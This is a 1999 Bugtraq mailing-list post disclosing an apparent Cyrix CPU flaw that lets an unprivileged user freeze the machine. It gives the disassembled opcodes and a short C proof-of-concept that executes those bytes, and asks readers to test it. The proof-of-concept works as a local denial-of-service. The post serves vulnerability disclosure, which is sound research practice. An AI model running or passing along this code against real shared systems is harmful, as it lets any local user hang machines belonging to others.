Date: Thu, 4 Feb 1999 16:50:21 +0100
From: Ragnar Hojland Espinosa <tech.support@REDESTB.ES>
To: BUGTRAQ@NETSPACE.ORG
Subject: Cyrix bug: freeze in hell, badboy
I emailed Cyrix a few months ago, and even managed to get a "oh, we will
look at it" thanks to Rafael Reilova, but that was it till today. A
couple of people did report it, effectively, froze (most of) their Cyrix
CPUs while running the opcodes below as non priviledged user.
While I don't have the enough knowledge to assure this _is_ a CPU bug, it
certainly looks like one to me (NO_LOCK isn't a workaround, btw).
0x804a368 <the_data>: cwtl
0x804a36a <the_data+2>: orl $0xe6ebe020,%eax
0x804a36f <the_data+7>: jle 0x804a368 <the_data>
Here is the code (tested with linux, any version):
/* Please compile without optimizations */
unsigned char the_data[] = { 62, 152, 13, 32, 224, 235, 230, 126, 247 };
void (*badboy)();
int main (int argc, char **argv)
{
badboy = (void(*)())(the_data);
asm ("movl badboy,%eax");
asm ("call *%eax");
return 0;
}
If you try it, please send me your /proc/{cpuinfo,version} and if it
freezes or not.
--
____/| Ragnar Hojland (ragnar@lightside.ddns.org) Fingerprint 94C4B
\ o.O| 2F0D27DE025BE2302C
=(_)= "Thou shalt not follow the NULL pointer for 104B78C56 B72F0822
U chaos and madness await thee at its end." hkp://keys.pgp.com
